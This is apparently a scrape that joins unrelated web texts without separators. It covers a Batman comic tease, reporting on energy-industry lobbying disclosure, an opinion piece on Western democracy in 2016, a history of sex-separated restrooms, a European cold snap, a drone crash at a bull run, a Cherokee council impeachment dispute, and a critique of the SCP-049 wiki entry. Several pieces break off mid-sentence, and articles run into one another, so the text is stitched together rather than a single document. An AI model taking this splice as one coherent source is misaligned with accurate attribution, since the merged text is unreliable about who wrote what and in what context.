tease from the new BATMAN #28 by Arkham escapee Dustin Nguyen
At first I read that as the character was an Arkham escapee but it could be that Scott is referring to Dustin as the escapee. You have to admit the blue is a little reminiscent to Nightwing's original look. Of course anyone can have purple hair if they really wanted it but we are reminded of Harper Row, who has been trying to do more in Batman's world. Could this be her new look? The big old gun makes that a little questionable. We'll have to wait and see.
What do you think?
You can read what Scott has to say about Zero Year and a special surprise coming half way through HERE.
EDIT
To make it clear, click the link above to read what Scott has to say about BATMAN #28. Basically, Scott wanted to expand the issue a little to give it more room and not have it feel crammed. In order |
filing to Congress troubling, especially as more groups use grass-roots work, advertising and community-based efforts to sway lawmakers' votes.
"The stakes are too high," said Tyson Slocum, director of the energy program at Public Citizen. "On every major issue, you see sophisticated efforts to sway the debate one way or another. The outside D.C. grass-roots activity, that sometimes is having the most influence on swinging the public debate."
"Everything hinges on the impact that these grass-roots or AstroTurf campaigns have," Slocum added, "so it's really significant."
Because Congress allows different filing methods, Slocum said it is impossible to compare companies and trade groups and see which ones carry the biggest lobbying wallets. (Public Citizen, which does some lobbying, files under the same method as ACCCE and those others. In the third quarter, it reported $50,000 in lobbying. Slocum said the group does not do state lobbying and does very little grass-roots activity.)
ACCCE reports lobbying as it is required under the federal law as written by Congress, spokeswoman Miller said.
"We didn't write the law," Miller said. "Certainly, the IRS has defined it one way and the Lobbying Disclosure Act [passed by Congress] defines it another."
"We work every day to ensure that we comply with the rules as they are written," Miller added.
Concerns about how lobbying expenditures are reported comes as the House Select Committee on Energy Independence and Global Warming investigates whether ACCCE failed to properly disclose all of its lobbying spending.
Committee Chairman Ed Markey (D-Mass.) asked the trade group whether its lobbying reports should include money paid to the Hawthorn Group, a public relations firm, according to a document viewed by E&E. ACCCE paid the Hawthorn Group, among other things, to coordinate an effort to stop the House climate bill from passing. The committee already is investigating ACCCE for its ties to a subcontractor that in June sent forged letters to House members urging them to vote against climate legislation.
While the Oct. 21 letter Markey sent to ACCCE focuses on the Hawthorn Group and its subcontractors, the grass-roots efforts ACCCE funded this summer also are troubling, committee spokesman Eben Burnham-Snyder said.
"What are these activities? They're trying to influence a member of Congress to vote a certain way," Burnham-Snyder said. "To any common-sense observer, it does appear to be something that's a little out of whack."
ACCCE's summer campaign, called "America's Power Army," was run by the Hawthorn Group and subcontractor Lincoln Strategies, which also worked on the effort to contact lawmakers about the House energy bill.
Lobbying formats vary
The formats that Congress allows companies and organizations to use for their lobbying disclosures are known as methods A, B and C.
Method A, which ACCCE uses, is based on the Lobbying Disclosure Act that Congress passed in 1995. It allows groups to estimate lobbying expenditures using definitions created by that law and a 2007 ethics reform law. In general, method A focuses on visits and calls to lawmakers, aides and the administration and "efforts in support of such contacts," which groups that file under method A generally define as time spent preparing a position paper or meeting with experts to formulate strategy.
Methods B and C use the IRS definition of lobbying, which includes all federal, state and local efforts, advertising and grass-roots outreach to the public. It is more limited, however, in whom it considers a "covered official." Talking about policy with a "covered official" is considered lobbying. Method B is for nonprofits and method C is used by for-profit companies and groups.
A previous filing by ACCCE reveals how much more it spends than what is captured under method A. ACCCE this year switched to method A from the IRS definition, which it used in 2008.
Changing methods meant ACCCE reported a lobbying amount more than 10 times smaller than what it reported when it used the IRS guideline. In the third quarter of 2008, when using method C, ACCCE reported spending $3.8 million on lobbying efforts. The same period this year, it reported $302,700.
ACCCE switched reporting methods "after many, many media comparisons" of the trade group's expenditures to those of other groups that used the less expansive standard, spokeswoman Miller said.
"There was no account taken for option A or option B," Miller said. "In order for a fair comparison, we decided to file the way other organizations in our area were filing. In order to provide a fair comparison, we decided to file under option A."
Differences between methods
When it approved the Lobbying Disclosure Act, Congress allowed the three choices because companies said that they did not want to have to keep different sets of books, according to an official at the Senate Office of Public Records who asked not to be identified, citing the policy of the office. Some companies, the official said, wanted to file the same paperwork they file with the IRS in their form 990.
Many nonprofits chose method B, the official said, because they do not want to threaten their nonprofit status by inviting a comparison between their 990 IRS report and what they file in a lobbying report. Nonprofits in general can do very little lobbying, unless they create another arm separate from the nonprofit entity.
Even if they are filing under method A, groups must report some grass-roots lobbying and advertising, the official said. An example would include an advertisement that urges people to contact Congress when that group's lobbyist is telling a lawmaker that there is grass-roots support for the position the company is taking.
If organizations send people to state fairs and universities to drum up support for the position a lobbyist is making, the official said, that should be counted. But the lobbying reporting under method A does not require groups to itemize their expenses. And, the expert said, there is scant oversight.
"We can't audit and investigate under the law," the official said. "We see a figure. We can't really question unless it seems ridiculously low."
That is part of the problem, said Slocum with Public Citizen.
"Anytime you have a law that has no real enforcement and largely voluntary compliance, you're going to get lots of fudging," Slocum said.
Attorneys for both ACCCE and the American Petroleum Institute, which also funded community outreach efforts this summer, said the federal Lobbying Disclosure Act clearly excludes grass-roots activities.
Proof of that, said Jacobs, attorney for ACCCE, is that Congress in 2007 when it formulated an ethics reform bill considered adding grass-roots activities to what would be reportable as federal lobbying. Grass-roots work ultimately was not included in the legislation.
Who picks which method?
A trade group for the oil and gas industry, API funded 19 rallies across the country in August and September, intended in part to drive phone calls, e-mails and letters to lawmakers about climate legislation. Those expenses were not reflected in the group's third-quarter lobbying report because API files using method A. It reported $2.2 million in lobbying expenses for those three months.
"We feel we're giving a more precise reporting," said John Wagner, senior attorney for API. "We report what the IRS wants," and for federal lobbying, he said, API reports what the Lobbying Disclosure Act rules require.
"We report it," Wagner said of grass-roots efforts. "We just don't report it under the [Lobbying Disclosure Act]. That's not really what the LDA is after. It is a specific definition of lobbying."
The Solar Energy Industries Association also files under method A. It reported spending $342,000 in the third quarter.
"In our case, we really focus on federal lobbying," said Monique Hanis, spokeswoman for the trade group. She added, "There is a tiny smidgen of grass roots." The group doesn't lobby at the state level, she said, and its advertising is "very, very limited" and usually is done as part of a coalition.
The National Association of Manufacturers is among those trade groups that files under method C, using the IRS lobbying definitions. It is done that way for simplicity because the calculations are done for the IRS, said spokeswoman Erin Streeter.
The National Mining Association, a trade group for coal companies, also files under method C. For the third quarter of 2009, it reported $743,025 in lobbying expenses.
"We have to report all of our expenses to the IRS. We just do one report," said Carol Raulston, spokeswoman for the National Mining Association. "So it's for ease of reporting."
The trade group does not do any state lobbying, Raulston said. Grass-roots efforts are mostly online, she said, to save money.
Copyright 2009 E&E Publishing. All Rights Reserved.Democracy is “hard work” and must not be taken for granted, said Barack Obama during his farewell visit to Europe last week. How right he is. The challenges confronting western democracies as 2016 draws to a ragged close are of a breadth and intensity not seen since the early 1980s, when Leonid Brezhnev’s Soviet Union was expanding its nuclear arsenal and suppressing Solidarity in Poland. Today, Russia under Vladimir Putin is again building bombs and meddling in neighbours’ affairs. But he is not the only or even the biggest problem. Much of the danger to democracy comes from within.
Angela Merkel, Germany’s long-serving chancellor, and Obama struggled with this issue during meetings in Berlin that included walk-on parts for the leaders of France, Britain, Italy and Spain. The (Republican) elephant in the room was Donald Trump. Nobody mentioned him by name. But the threat to democratic values and the transatlantic alliance that sustains them implicit in his victory was the subject of a pointed article written by Obama and Merkel, and published in a German weekly.
Obama and Merkel call for continued transatlantic cooperation Read more
So great is the uncertainty about the political direction of travel in the US and Europe that the two leaders went back to basics, stressing their “shared commitment to personal freedom and dignity, which only a vibrant democracy under the rule of law can guarantee”. This included “joint responsibility to protect and preserve our way of life,” they wrote. “Today we find ourselves at a crossroads – the future is upon us and we will never return to a pre-globalisation economy.”
Merkel and Obama were evidently talking about a Trumpist agenda that questions the Euro-Atlantic settlement and Nato’s relevance, mocks climate change, opposes free trade and treats refugees, Muslims and foreigners in general as potential enemies. Their references to pluralism and international law were obvious shots across Putin’s bows. But their message was also directed at Europe. Their concerns are justified. The fear now is that the populist and nationalist insurrections witnessed in Britain in June and in the US this month may be replicated across Europe in coming months, further shredding the west’s liberal democratic moorings.
France is of foremost concern. This weekend saw the start of a primary process to select the centre-right’s candidate for two-stage presidential elections next spring. This decision is crucial since the French left is largely discredited. Its leader, François Hollande, is a deeply unpopular president. Should Alain Juppé, a former PM, beat rivals Nicolas Sarkozy and François Fillon for the centre-right’s nomination, as polls suggest, it is assumed he will win a second round run-off in May.
It is a dangerous assumption. Conventional wisdom has never been more discredited. Pollsters tread treacherous ground. And Juppé, 71, is very ancien regime. He lost the prime ministership 20 years ago amid a revolt against Jacques Chirac. He was later convicted of criminal abuse of public funds. Last week, Juppé was forced to reject comparisons with the US election. “I am not Hillary Clinton. And France is not America,” he declared.
Frexit, Nexit or Oexit? Who will be next to leave the EU Read more
His protestations will do nothing to quiet the many voices now suggesting Marine Le Pen, the far-right, anti-immigration Front National leader and ardent admirer of Trump and Nigel Farage, has a chance to score another populist upset. It is taken for granted that Le Pen, 48, will reach the second round. But for the first time, the idea she could then beat Juppé, or any other centre-right candidate, and win outright is taken seriously. Manuel Valls, France’s prime minister, admitted last week it was entirely possible. It is a dreadful prospect.
France may be part of a trend. If polls are correct, parliamentary elections in the Netherlands in March could see the triumph of Geert Wilders, an anti-Islam extremist who advocates a Dutch exit (Nexit) from the EU. Wilders predicts he will win partly because of Merkel’s “stupidity” in opening Europe’s doors to Syrian refugees. In Italy, the centre-left prime minister, Matteo Renzi, looks set to lose a controversial referendum on constitutional reform, and his job, next month. Pollsters say the “no” campaign, led by the anti-establishment Five Star movement (M5S), is benefiting from a “Trump effect”.
Germany has elections, too, next year, which if she stands again, Merkel will be expected to win. But even in Berlin, the electoral balance is shifting in threatening, ugly and intolerant ways as the populist Alternative for Germany and the anti-Islamists of Pegida advance. With Obama no longer around to defend the west’s liberal democratic order, Merkel could be the last woman standing.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
Amid rows about transgender people in bathrooms, Utah law professor Terry Kogan asks… how did public bathrooms get to be separated by sex in the first place?
For years, transgender rights activists have argued for their right to use the public restroom that aligns with their gender identity. In recent weeks, this campaign has come to a head.
In March, North Carolina enacted a law requiring that people be allowed to use only the public restroom that corresponds to the sex on their birth certificates.
Meanwhile, the White House has taken an opposing position, directing that transgender students be allowed to use the bathroom that matches their gender identity.
In response, on May 25, 11 states sued the Obama administration to block the federal government from enforcing the directive.
Some argue that one solution to this impasse is to convert all public restrooms to unisex use, thereby eliminating the need to even consider a patron’s sex. This might strike some as bizarre or drastic.
Many assume that separating restrooms based on a person’s biological sex is the “natural” way to determine who should and should not be permitted to use these public spaces.
In fact, laws in the U.S. did not even address the issue of separating public restrooms by sex until the end of the 19th century, when Massachusetts became the first state to enact such a statute.
By 1920, over 40 states had adopted similar legislation requiring that public restrooms be separated by sex.
So why did states in the U.S. begin passing such laws? Were legislators merely recognizing natural anatomical differences between men and women?
I’ve studied the history of the legal and cultural norms that require the separation of public bathrooms by sex, and it’s clear that there was nothing so benign about the enactment of these laws.
Rather, these laws were rooted in the so-called “separate spheres ideology” of the early-19th century – the idea that, in order to protect the virtue of women, they needed to stay in the home to take care of the children and household chores.
In modern times, such a view of women’s proper place would be readily dismissed as sexist. By highlighting the sexist origin of laws mandating sex-separation of public restrooms, I hope to provide grounds for at least reconsidering their continued existence.
The rise of a new American ideology
During America’s early history, the household was the center of economic production, the place where goods were made and sold. That role of the home in the American economy changed at the end of the 18th century during the Industrial Revolution.
As manufacturing became centralized in factories, men left for these new workplaces, while women remained in the home.
Soon, an ideological divide between public and private space arose.
The workplace and the public realm came to be considered the proper domain of men; the private realm of the home belonged to women. This divide lies at the heart of the separate spheres ideology.
The sentimental vision of the virtuous woman remaining in her homestead was a cultural myth that bore little resemblance to the evolving realities of the 19th century.
From its outset, the century witnessed the emergence of women from the privacy of the home into the workplace and American civic life. For example, as early as 1822 when textile mills were founded in Lowell, Massachuetts, young women began flocking to mill towns.
Soon, single women constituted the overwhelming majority of the textile workforce. Women would also become involved in social reform and suffrage movements that required them to work outside the home.
Nonetheless, American culture didn’t abandon the separate spheres ideology, and most moves by women outside the domestic sphere were viewed with suspicion and concern.
By the middle of the century, scientists set their sights on reaffirming the ideology by undertaking research to prove that the female body was inherently weaker than the male body.
Armed with such “scientific” facts (now understood as merely bolstering political views against the emergent women’s rights movement), legislators and other policymakers began enacting laws aimed at protecting “weaker” women in the workplace.
Examples included laws that limited women’s work hours, laws that required a rest period for women during the work day or seats at their work stations, and laws that prohibited women from taking certain jobs and assignments considered dangerous.
Midcentury regulators also adopted architectural solutions to “protect” women who ventured outside the home.
Architects and other planners began to cordon off various public spaces for the exclusive use of women.
For example, a separate ladies’ reading room – with furnishings that resembled those of a private home – became an accepted part of American public library design.
And in the 1840s, American railroads began designating a “ladies’ car” for the exclusive use of women and their male escorts. By the end of the 19th century, women-only parlor spaces had been created in other establishments, including photography studios, hotels, banks and department stores.
Sex-separated restrooms: putting women in their place?
It was in this spirit that legislators enacted the first laws requiring that factory restrooms be separated by sex.
Well into the 1870s, toilet facilities in factories and other workplaces were overwhelmingly designed for one occupant, and were often located outside of buildings.
These emptied into unsanitary cesspools and privy vaults generally located beneath or adjacent to the factory.
The possibility of indoor, multi-occupant restrooms didn’t even arise until sanitation technology had developed to a stage where waste could be flushed into public sewer systems.
But by the late-19th century, the factory “water closet” – as restrooms were then called – became a flashpoint for a range of cultural anxieties.
First, deadly cholera epidemics throughout the century had heightened concerns over public health.
Soon, reformers known as “sanitarians” focused their attention on replacing the haphazard and unsanitary plumbing arrangements in homes and workplaces with technologically advanced public sewer systems.
Second, the rapid development of increasingly dangerous machinery in factories was viewed as a special threat to “weaker” female workers.
Finally, Victorian values that stressed the importance of privacy and modesty were subjected to special challenge in factories, where women worked side by side with men, often sharing the same single-user restrooms.
It was the confluence of these anxieties that led legislators in Massachusetts and other states to enact the first laws requiring that factory restrooms be sex-separated.
Despite the ubiquitious presence of women in the public realm, the spirit of the early century separate spheres ideology was clearly reflected in this legislation.
Understanding that “inherently weaker” women could not be forced back into the home, legislators opted instead to create a protective, home-like haven in the workplace for women by requiring separate restrooms, along with separate dressing rooms and resting rooms for women.
Thus the historical justifications for the first laws in the United States requiring that public restrooms be sex-separated were not based on some notion that men’s and women’s restrooms were “separate but equal” – a gender-neutral policy that simply reflected anatomical differences.
Rather, these laws were adopted as a way to further early 19th century moral ideology that dictated the appropriate role and place for women in society.
The future of public restrooms
It is therefore surprising that this now discredited notion has been resurrected in the current debate over who can use which public restrooms.
Opponents of transgender rights have employed the slogan “No Men in Women’s Bathrooms,” which evokes visions of weak women being subject to attack by men if transgender women are allowed to “invade” the public bathroom.<
In fact, the only solid evidence of any such attacks in public restrooms are those directed at transgendered individuals, a significant percentage of whom report verbal and physical assault in such spaces.
In the midst of the current maelstrom over public restrooms, it is important to keep in mind that our current laws mandating that public restrooms be separated by sex evolved from the now-discredited separate spheres ideology.
Whether or not multi-occupancy, unisex restrooms are the best solution, our lawmakers and the public need to begin envisioning new configurations of public restroom spaces, ones far more friendly to all people who move through public spaces.
Terry S. Kogan, Professor of Law, University of Utah
This article was originally published on The Conversation. Read the original article.More than 120 deaths linked to temperatures as low as -32.5C, while 11,000 villagers are trapped by snow in Serbian mountains
More than 120 cold-related deaths have been reported across eastern Europe, many among homeless people, and at least 11,000 people are trapped by heavy snow in mountain villages in Serbia.
Dr Milorad Dramacanin, who took part in helicopter evacuations in central Serbia, said: "The situation is dramatic, the snow is up to five metres high in some areas, you can only see rooftops."
Up to 300 people are stranded in Bosnia, with choppers supplying food and medication.
Goran Milat, one of those residents cut off, said: "We are thankful for this help. But the snow did what it did and we are blocked here until spring."
The conditions also forced the closure of the airport in Montenegro's capital Podgorica.
In Poland, where temperatures have dropped to -22C, officials have been trying to direct homeless people away from derelict unheated buildings and into crammed shelters.
Eleven people around the country have died since Friday from carbon monoxide poisoning after using charcoal heaters in sealed rooms.
In Bulgaria, more than 1,000 schools are closed after some areas saw the lowest temperatures since records began a century ago. Ukraine recorded deaths as the mercury sank as low as -32.5C (-26.5F).
Germany saw daytime temperatures on Thursday at below -10C, while Paris saw -8C and Stockholm recorded -13C. Parts of Italy have struggled with heavy snow, with freezing temperatures also seen in Greece and the Black Sea coast.
One nation is hoping to make the best of the big freeze: the speed-skating obsessed Dutch. Authorities have banned boats from some of Amsterdam's canals and turned off pumps in the hope the still water will freeze over.
The ambition is a sufficient stretch of ice to stage the Elfstedentocht – 11 Town Tour – a 125-mile skate over frozen canals and lakes in the country's north. It has only been staged 15 times since the first official event in 1909.
The US has enjoyed a very mild winter, with unseasonably warm temperatures and a lack of snow. But Pennsylvania's famous groundhog, Punxsutawney Phil, predicted six more weeks of winter in his annual appearance in the spotlight.× EXCLUSIVE VIDEO: Drone crashes into crowd at Great Bull Run
(***Updated 8/27 with info concerning injuries and ownership of the drone***)
DINWIDDIE COUNTY, Va. (WTVR) — A drone grabbing video of Saturday’s historic bull run in Dinwiddie County crashed into the crowd.
It happened at the Virginia Motorsports Park just before the 12 p.m. wave of the Great Bull Run kicked off.
The drone crashes :16 into the clip below:
Please enable Javascript to watch this video
The drone had been flying high above the track before it neared the stands. As the flying object dipped down, it steadied for a bit before taking a sharp left, speeding up and crashing into the stands.
There were a few injuries reported. Brad Fillius, his wife and several friends drove nearly two hours from the Norfolk area to take part in Saturday’s Great Bull Run in Dinwiddie.
The group ran in the 11 a.m. race without injury and then headed to the stands to watch later runs. They assumed they were out of harm’s way, because they were a safe distance from the running bulls. [CBS 6 EXCLUSIVE: Friends survive Bull Run, injured by falling aircraft]
Then a remote-controlled aircraft carrying a camera above them fell from the sky.
“It was a pretty significant blow and it knocked the wind out of me for sure,” Fillius, a naval commander stationed in Norfolk, said.
Fillius recalled the crowd being excited to see the remote-controlled aircraft taking video from above. A few minutes later, the device fell and hit Fillius in the chest.
“What made it a little more significant was that it was that it was completely a blind shot,” Fillius said.
While he got the most direct hit from the aircraft, his two friends felt the side effects as the device hit them too.
“Because I saw it, I was able to put up my hands to protect my face, but my fingers felt numb at first because they were hit by the propellers,” Eileen Peskoff said. Peskoff fell backward off her bleacher seat as the device fell toward her.
“It basically turned itself in to a missile at that point and it wasn’t like it dropped, it made a b-line,” Patrick Lewis, the third to be injured, said.
The drone was not being operated by nor was it recording video for WTVR-TV as was reported initially by several outlets. [RELATED: CBS 6 EXCLUSIVE: FAA investigates Bull Run ‘drone crash’]
The FAA told CBS 6 that they were investigating the situation after becoming aware of our video.
"We are investigating to see if the person flying the unmanned aircraft violated any FAA regulations, particularly the part that says, "No person may operate an aircraft in a careless or reckless manner so as to endanger the life or property of another,"
said the FAA in a statement to CBS 6.
CBS 6 spoke by phone Monday night to Scott Hansen of Virginia Beach. Hansen claimed to own the remote-controlled aircraft involved in the incident.
Hansen, who directs and produces films, also leases specialized camera equipment, including his remote-controlled aircraft camera worth about $7,500.
Hansen said he leased the camera to someone involved with the Great Bull Run, but claimed he could not reveal the name of the operator without breaking a confidentiality agreement in their contract.
Hansen claimed he was not at Saturday’s event and has no immediate plans to repair the significant damage to his device. He added he planned to stop renting out his flying camera — for now.
Hansen said he feels badly about the accident and was relieved no one was seriously injured. He said he spoke with the group involved and offered to reimburse their costs for the event and for any medical visits.
RELATED:Some tribal members are saying their rights were violated after three pieces of legislation that would curtail impeachment proceedings against Principal Chief Patrick Lambert were denied last week in successive votes during which no discussion was allowed.
It took council mere minutes to power through a veto from Lambert and two protest resolutions — one from Councilmember Teresa McCoy, of Big Cove, and one from tribal member Janell Rattler, of Snowbird. Each item went to a vote with a no-discussion rule strictly enforced by Council Chairman Dennis “Bill” Taylor, of Wolfetown.
One veto, two protests
Lambert’s veto of the impeachment resolution was first on the agenda. The resolution seeking his impeachment, passed Feb. 2, had actually already been signed — but by Vice Chief Richie Sneed, not by Lambert. The impeachment resolution had included a provision giving Sneed the power to ratify it, as Lambert had “a conflict of interest in this matter.”
Lambert, meanwhile, contended that the provision violated the law, as the tribe’s Charter and Governing Document explicitly states that it’s the chief prerogative to ratify or veto legislation. His veto letter stated that he had “committed no impeachable offences” and said that the more Tribal Council moved forward without allowing him to state his case, “the more it looks like a witch hunt.” He criticized council for “hav[ing] us all spinning wheels in a losing battle” rather than working for the best interest of the tribe.
His letter was read, and a vote taken. The vote mirrored that taken on Feb. 2, with only Councilmembers Tommye Saunooke, of Painttown; Richard French, of Big Cove; and McCoy opposing impeachment.
Then Rattler’s protest came before council. It contained a brief cover letter informing council that the 37 Snowbird community members whose signatures were attached protested impeachment and requested that council schedule a hearing accordingly. It included a resolution that, if passed, would have rescinded the impeachment resolution.
The resolution was never read, however. After the cover letter was read into the record, Taylor called that one of two moves be made — to hear the protest or to deny the protest. If council voted to hear the protest, a separate session would be scheduled for the protesting parties to make their case.
McCoy began to ask that anybody who wanted to say something be given the chance to speak, but Taylor cut her off.
“You know the process,” he said, banging his gavel. “The process has always been the same, Teresa (McCoy). The letter is read into the record and at that point in time there are two moves that can be made, to either approve the protest or one to deny.”
“Can you show me where we don’t discuss that?” McCoy asked.
“We’ve done it every time we’ve been in here, you know that,” Taylor responded.
Saunooke moved to hear the protest, with McCoy as a second. And Councilmember Travis Smith moved to deny the protest, with a second from Vice Chairman Brandon Jones.
“Will y’uns at least read the ordinance?” asked Rattler.
“No,” said Taylor.
Then Lambert came up to the podium.
“Mr. Chairman, I’d request we go into closed session and receive legal advice on what you’re about to do,” he said.
“No, we’re going to move on, Chief,” said Taylor.
“I think it’s important that this tribal body hear from their legal council,” Lambert replied.
“Chief, we’re going to move forward,” said Taylor. “I’ve got two moves on the floor.”
“Mr. Chairman, I’d move that —”
Taylor cut McCoy off with the bang of a gavel.
“We’ve got two moves on the floor, and we’re going to vote on them,” he said.
Council voted overwhelmingly to deny the protest, with only McCoy, Saunooke, French and Councilmember Bo Crowe, of Wolfetown, voting to hear it.
Many members of the audience called out in anger. When they quieted down, council moved on to the next protest, McCoy’s, which also sought to rescind the impeachment resolution. McCoy’s resolution went a step further, however, asking for formal investigations into a whole host of issues covering conduct by a variety of council members.
Once more, the letter was read, the resolution was not, and council voted without discussion to deny the protest, in a vote that mirrored that taken on Rattler’s protest.
Reaction from tribal members
Tribal members stuck around for the remainder of the meeting, which finished more than an hour ahead of schedule. During breaks, they gathered in the parking lot or on the council house porch, and they weren’t shy about giving their opinion on what had transpired inside.
“They should have called a special meeting when discussing an issue like this, and they didn’t do that. They made a decision without the people’s knowledge,” Rattler, author of the first protest resolution, said in an interview outside the council house. Before deciding to move forward with the impeachment vote, she believes, her councilmembers should have called a special meeting of the Snowbird Community Club to gather input.
“Today it upset them that they weren’t heard,” she continued. “It was like they didn’t care what the people wanted.”
“I think the things they’re doing ain’t right,” said June Welch, a 51-year-old Cherokee man who lives in Whittier. “Just like I said in there, we’re one people. We’re supposed to stand behind each other. When one of us falls, we’re supposed to pick them up and help them. That’s why I’m here.”
Birdtown community member Ashley Sessions, 28, also expressed opposition to how council had been conducting business. But at least the protests were read in council, even if no discussion was allowed and the resolutions themselves didn’t see the light of day, she said. At the beginning of the meeting, McCoy invited Sessions to the podium to ask council why a resolution she’d submitted hadn’t been added to the agenda.
“They didn’t even read my resolution,” Sessions said during a follow-up interview. “They just completely turned me away and that’s why I wanted to address them and ask them why. I never got anything in writing, so I wanted to know why.”
During council, Taylor told Sessions that her resolution wasn’t something council could handle — it dealt with alleged intimidation on the part of Councilmember Smith and needed to go to the Office of Internal Audit, which is charged with enforcing the ethics code Sessions believes Smith broke.
“They informed me I needed to take it to Internal Audit, so that’s why I’m going to do,” Sessions said.
In a text message, Smith said he has not read Sessions’ resolution and reiterated that Internal Audit, not council, is the proper place for it to be heard. He did not comment on the allegations themselves.
What the law says about protest hearings
Taylor based his enforcement of the no-discussion rule for protest resolutions on the premise that protests had always been handled that way. But a review of several recent protests brought before council shows that’s not necessarily the case.
On May 5, 2016, council received a protest of its approval of Joseph Arch Conseen’s will. The protest letter, from Joseph’s widow Lorraine Conseen, said she hadn’t received notice that the issue was coming before council.
After the protest letter was read, council proceeded to have a full 13 minutes of discussion on the topic, covering everything from applicable sections of tribal law to customs pertinent to such situations.
“Any other moves? Any other discussion?” Taylor asked at one point before the vote was taken.
Council heard a protest letter the previous month as well, on April 7, 2016, filed by McCoy. That protest, which dealt with the licensure of Dora Reed Children’s Center, resulted in a six-minute discussion before coming to a vote.
Lambert believes that council violated the law by curtailing discussion on last week’s protests. In a Facebook post, he said that he didn’t expect his veto to be upheld but that preventing tribal members from speaking on their protest resolutions was “inexcusable and a clear violation.”
Lambert sees this as further proof of his belief that if any current tribal official deserves impeachment, it’s not him.
“I am proceeding to build grounds on their violations of the Charter and our Code to potentially bring impeachment on those who have violated the law or been an accomplish (sic) to breaking the law,” he wrote. “I will use every bit of my authority, legal education and experience to ensure the voices of our Cherokee people are heard in their Council Chambers.”
The right to protest decisions of council is clearly outlined in the tribal code. The code states that any party who disagrees with a decision of council or its committees “shall have the right to one protest of the decision.”
The code lays out the timeline for submitting protests and states that each protest should include a written resolution outlining the action sought upon approval. No decision involving multiple parties may be heard or decided until “a hearing is scheduled and all interested parties are provided reasonable notice of that hearing.”
The code does not, however, lay out the process that Tribal Council has used when dealing with protests — namely, holding a vote to deny or hear the protest upon initially receiving it and scheduling a hearing only if the majority of council elects to do so. While it is possible that other written policies exist governing the protocol for hearing protests, a request to Legislative Attorney Carolyn West for copies of those policies was not fulfilled as of press time.
In Lambert’s view, however, the law was violated when council shut down the discussion. He believes the section dealing with protests involving multiple parties most definitely applies here, as Rattler’s resolution includes the signatures of 37 tribal members and McCoy submitted her resolution following a meeting of about 50 tribal members from the Big Cove community.
“No where (sic) in this law does it allow the Chairman to shut out our elders and members from having the right to speak and be heard! This is simply a violation of our rights as members of this Tribe. Yet what happened? The Chairman absolutely refused to hear any elders or other members and forced a quick vote to shut it down … I think the question is valid to ask, why not file another protest and demand to have a hearing as is allowed under the law. Let this Council vote again to violate the law,” Lambert wrote on his public Facebook page.
For his part, however, Taylor is focused on the fact that the outcome of last week’s meeting means the impeachment process against Lambert will proceed. Tribal Council must first approve articles of impeachment, and then a hearing will take place at the council house with an outcome decided at the end of the proceedings.
“It is expected the hearings will be concluded in one day,” Taylor said in a statement. “As of today, no date has been confirmed for the impeachment proceedings.”
The backstory
The Feb. 2 vote to begin impeachment proceedings against Principal Chief Patrick Lambert followed the Jan. 18 release of an investigation into contract executions and human resources decisions under Lambert’s administration.
The report listed five contracts whose amounts had exceeded the amount approved or that had been executed without proper approval from the Business Committee. It also listed nine areas in which policies, procedures or laws pertaining to human resources decisions had not been followed — though the paragraphs explaining the violations found in five of those nine areas were completely blacked out in the publicly released copy.
Nine of the 12 Tribal Council members felt that the findings warranted calling for an impeachment hearing. However, Lambert said that he had done nothing wrong and had solid explanations for every one of the supposed violations — if |
spaced, and is an absolute nightmare to try and read through, especially on small screens. The space bar is your friend, kids.
I'm curious too how the doctor knew what 049 was talking about when he said "the cure". He doesn't question it, he doesn't say "oh, you mean that thing you do where you kill people by touching them and then sew them back up and they're zombies?" It's not the greatest leap ever made, but the fall might make your ankles sore.
[SCP-049 lapsed once again into silence, and no further attempts to make it speak were effective.]
Of course. Snooty bitch.
Closing Statement: “We managed to get our tests done for that day, trying to figure out what causes it to perform surgery, or, more accurately, what it detects as the 'Pestilence’. So far, research has shown us no correlation between any of the D-class personnel it has performed surgery on. We’re still working on it."
Dr. ████
Fine, that's whatever. It's fluff that just tells us they have no idea what's going on.
Then we skip an addendum (going straight from A-1 to C-1) that isn't there and dive straight into the final part of the article. To summarize, SCP-049 is left unsupervised for five minutes (AN ENTITY THAT CAN KILL THINGS BY TOUCHING THEM), during which time it breaches containment and goes for a stroll. It runs into SCP-███ and they have a chat. That SCP-███, by the way, is SCP-035, the only other talking mask in the first series. They talk for a while somewhere there aren't any cameras, and then 049 is all skippy-doo afterwards.
A few things about this bit.
First off, why even blackbox the object number? You go on to say "that damned mask" so we all know you're talking about 035, so what's the point of this? Is it an in-universe thing? What purpose does it serve to not tell a researcher reading this article that 049 and 035 are buddies? At least it's not as bad as an unnecessary redaction, but-
...finding out what the hell he and [REDACTED] talked about during their little chat.
Jesus take the wheel.
Alright, fine. So where did they meet up and talk that they weren't being recorded? Did they plan this out ahead of time? The writing doesn't imply that, since it says that 049 just "came into contact" with 035 and then they talked. 035 is a mask, remember. It isn't animate, not unless it's possessing someone. Did 035 also breach containment? If not, was it in its own containment cell? Did 049 break into 035's containment cell? If not, why? If so, how? We're not led to believe 049 is super strong or intelligent (remember, he can be dragged around by a collar and some poles), so did he just find 035 laying around outside on the ground and they talked there?
If somehow 049 broke into 035's containment cell where they sat down and had a chat, how was this not recorded? They go on at the end of the article about trying to find out what the two talked about, but where would they have ever been in a situation where they were outside of the range of recording devices to have their talk? Did 049 break into 035's containment cell, grab it, run down the hall to the bathroom and talk to it then?
Whatever. It doesn't matter. What matters is that this is just another example of "series 1 entity breaches containment, runs into another entity, they chat, something is different afterwards". See 682 and 079, or 076 and half of the canon at this point. It was a trope, it's not done so much anymore, and the world is better for it.
Part Five: Here Comes the Devil's Advocate
"But djkaktus," you might be saying, "people like different things for different reasons. Maybe some people just like 049? Maybe there's a reason it's rated so highly!"
That's fair. But I really want you, reader, to think about that for a moment. I want you to think about why you like 049. In case you weren't ready for that kind of introspective request, I've provided a list of some things I often hear used as reasons why people like and vote for SCP-049.
It's old and part of the site's foundations.
Mmhmm. But so is SCP-011, which predates 049 by a year and a half and sits at +275 at the time of this writing. In fact, 049 is the fourth highest rated article in the first 100 slots, after 055, 093, and 096. It is predated by a number of articles within that same block, and yet is an anomaly as far as reception is concerned.
Well it's a spooky humanoid with a mysterious past, I kind of like that.
There are plenty of spooky humanoids with mysterious pasts, and none of them have been as generously voted upon as 049.
It's really easy to cosplay.
A cursory Google search of "scp-049 cosplay" has informed me that 049 is much harder to cosplay than you all think it is.
You're an asshole.
Not really the point, I don't think.
Fine. Maybe I just like zombies.
Cool, then you've all upvoted 008, right? It's surely probably right around there if it's just-
+397
